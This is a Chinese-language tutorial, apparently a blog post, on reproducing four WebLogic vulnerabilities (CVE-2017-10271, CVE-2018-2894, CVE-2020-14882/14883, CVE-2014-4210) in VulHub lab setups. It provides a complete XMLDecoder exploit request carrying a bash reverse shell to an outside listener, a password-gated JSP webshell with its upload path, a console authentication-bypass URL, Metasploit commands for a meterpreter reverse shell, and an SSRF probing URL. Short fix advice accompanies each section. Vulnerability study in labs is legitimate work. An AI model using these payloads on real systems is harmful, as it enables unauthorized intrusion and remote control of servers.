weblogic一些漏洞复现(原创)
字数 1702 2025-08-12 11:34:29

WebLogic 漏洞复现与利用教学文档

环境搭建

VulHub 环境准备

  1. 下载 VulHub 项目:

    wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
    unzip vulhub-master.zip
    cd vulhub-master
    
  2. 进入特定漏洞目录(以 Flask/SSTI 为例):

    cd flask/ssti
    
  3. 编译并启动环境:

    docker-compose build
    docker-compose up -d
    
  4. 测试完成后清理环境:

    docker-compose down -v
    

CVE-2017-10271 XMLDecoder 反序列化漏洞

漏洞概述

  • 影响组件:WebLogic WLS Security 组件
  • 漏洞原因:XMLDecoder 解析用户传入的 XML 数据时出现反序列化漏洞
  • 可执行任意命令,甚至可通过反弹 shell 获取权限

影响版本

  • 10.3.6.0
  • 12.1.3.0.0
  • 12.2.1.1.0

漏洞检测

使用 WeblogicScan 工具:

git clone https://github.com/rabbitmask/WeblogicScan.git
python3 WeblogicScan.py -u 192.168.241.137 -p 7001

漏洞利用

  1. 构造恶意 XML 请求:

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: 192.168.241.137:7001
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: text/xml
    Content-Length: 697
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java version="1.4.0" class="java.beans.XMLDecoder">
            <void class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="3">
                <void index="0"><string>/bin/bash</string></void>
                <void index="1"><string>-c</string></void>
                <void index="2"><string>bash -i >& /dev/tcp/192.168.241.143/4444 0>&1</string></void>
              </array>
              <void method="start"/>
            </void>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>
    
  2. 本地监听反弹 shell:

    nc -lvvp 4444
    

修复建议

  1. 删除 wls-wsat 组件并重启 WebLogic
  2. 下载并安装官方补丁

CVE-2018-2894 任意文件上传漏洞

漏洞概述

  • 影响组件:Web Service Test Page
  • 默认在生产模式下不开启
  • 可上传任意 JSP 文件获取服务器权限

影响版本

  • 10.3.6
  • 12.1.3
  • 12.2.1.2
  • 12.2.1.3

漏洞利用步骤

  1. 获取管理员密码:

    docker-compose logs | grep password
    
  2. 登录后台并开启 Web Service Test Page

  3. 访问配置页面:

    /ws_utc/config.do
    
  4. 设置工作目录:

    • Linux: /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
    • Windows: C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war
  5. 上传 JSP 木马:

    <% if("123".equals(request.getParameter("pwd"))){ 
         java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); 
         int a = -1; 
         byte[] b = new byte[2048]; 
         out.print("<pre>"); 
         while((a=in.read(b))!=-1){ 
             out.println(new String(b)); 
         } 
         out.print("</pre>"); 
    } %>
    
  6. 通过 Burp 获取上传文件的时间戳

  7. 访问 webshell:

    http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]?pwd=123&i=ls
    

修复建议

  1. 设置 Config.do、begin.do 页面需要登录授权后访问
  2. 在 IPS 等防御产品中加入相应特征
  3. 升级到官方最新版本

CVE-2020-14882/14883 未授权命令执行漏洞

漏洞概述

  • CVE-2020-14882:绕过管理控制台权限验证
  • CVE-2020-14883:通过 HTTP 协议执行任意命令
  • 组合利用可通过 GET 请求以未授权身份执行命令

影响版本

  • WebLogic 10.3.6.0.0
  • WebLogic 12.1.3.0.0
  • WebLogic 12.2.1.3.0
  • WebLogic 12.2.1.4.0
  • WebLogic 14.1.1.0.0

漏洞利用

  1. 访问后台绕过 URL:

    http://127.0.0.1/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
    
  2. 使用 Metasploit 获取 shell:

    search CVE-2020-14882
    use exploit/multi/http/weblogic_admin_handle_rce
    set target 1  # 根据目标系统选择
    set payload linux/x64/meterpreter_reverse_https
    exploit
    

SSRF 漏洞 (CVE-2014-4210)

漏洞概述

  • 影响组件:uddiexplorer 应用
  • 可发送任意 HTTP 请求,攻击内网中 redis、fastcgi 等组件

影响版本

  • Oracle WebLogic Server 10.3.6.0
  • Oracle WebLogic Server 10.0.2.0

漏洞利用

  1. 探测端口和内网主机:

    http://192.168.241.137:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.20.0.2:7001
    
  2. 使用 Burp 爆破或其他工具进行内网探测

总结

本文档详细介绍了 WebLogic 多个高危漏洞的复现方法,包括:

  1. XMLDecoder 反序列化漏洞 (CVE-2017-10271)
  2. 任意文件上传漏洞 (CVE-2018-2894)
  3. 未授权命令执行漏洞 (CVE-2020-14882/14883)
  4. SSRF 漏洞 (CVE-2014-4210)

对于每个漏洞,都提供了:

  • 漏洞原理说明
  • 影响版本范围
  • 详细复现步骤
  • 修复建议

安全研究人员可使用此文档进行漏洞验证和安全测试,企业管理员可参考修复建议加强系统安全防护。

WebLogic 漏洞复现与利用教学文档 环境搭建 VulHub 环境准备 下载 VulHub 项目: 进入特定漏洞目录(以 Flask/SSTI 为例): 编译并启动环境: 测试完成后清理环境: CVE-2017-10271 XMLDecoder 反序列化漏洞 漏洞概述 影响组件:WebLogic WLS Security 组件 漏洞原因:XMLDecoder 解析用户传入的 XML 数据时出现反序列化漏洞 可执行任意命令,甚至可通过反弹 shell 获取权限 影响版本 10.3.6.0 12.1.3.0.0 12.2.1.1.0 漏洞检测 使用 WeblogicScan 工具: 漏洞利用 构造恶意 XML 请求: 本地监听反弹 shell: 修复建议 删除 wls-wsat 组件并重启 WebLogic 下载并安装官方补丁 CVE-2018-2894 任意文件上传漏洞 漏洞概述 影响组件:Web Service Test Page 默认在生产模式下不开启 可上传任意 JSP 文件获取服务器权限 影响版本 10.3.6 12.1.3 12.2.1.2 12.2.1.3 漏洞利用步骤 获取管理员密码: 登录后台并开启 Web Service Test Page 访问配置页面: 设置工作目录: Linux: /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css Windows: C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war 上传 JSP 木马: 通过 Burp 获取上传文件的时间戳 访问 webshell: 修复建议 设置 Config.do、begin.do 页面需要登录授权后访问 在 IPS 等防御产品中加入相应特征 升级到官方最新版本 CVE-2020-14882/14883 未授权命令执行漏洞 漏洞概述 CVE-2020-14882:绕过管理控制台权限验证 CVE-2020-14883:通过 HTTP 协议执行任意命令 组合利用可通过 GET 请求以未授权身份执行命令 影响版本 WebLogic 10.3.6.0.0 WebLogic 12.1.3.0.0 WebLogic 12.2.1.3.0 WebLogic 12.2.1.4.0 WebLogic 14.1.1.0.0 漏洞利用 访问后台绕过 URL: 使用 Metasploit 获取 shell: SSRF 漏洞 (CVE-2014-4210) 漏洞概述 影响组件:uddiexplorer 应用 可发送任意 HTTP 请求,攻击内网中 redis、fastcgi 等组件 影响版本 Oracle WebLogic Server 10.3.6.0 Oracle WebLogic Server 10.0.2.0 漏洞利用 探测端口和内网主机: 使用 Burp 爆破或其他工具进行内网探测 总结 本文档详细介绍了 WebLogic 多个高危漏洞的复现方法,包括: XMLDecoder 反序列化漏洞 (CVE-2017-10271) 任意文件上传漏洞 (CVE-2018-2894) 未授权命令执行漏洞 (CVE-2020-14882/14883) SSRF 漏洞 (CVE-2014-4210) 对于每个漏洞,都提供了: 漏洞原理说明 影响版本范围 详细复现步骤 修复建议 安全研究人员可使用此文档进行漏洞验证和安全测试,企业管理员可参考修复建议加强系统安全防护。